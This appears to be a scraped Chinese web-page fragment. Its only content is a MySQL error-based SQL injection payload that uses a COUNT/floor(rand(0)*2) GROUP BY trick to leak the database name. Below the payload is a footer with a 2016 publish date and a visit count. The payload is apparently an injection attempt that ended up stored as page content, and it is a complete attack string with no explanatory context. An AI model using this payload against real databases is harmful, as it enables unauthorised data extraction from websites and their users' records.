dddd' AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT(1,(SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(rand(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 'zl'='zl

发布日期：2016/12/16 11:11:35         访问次数：653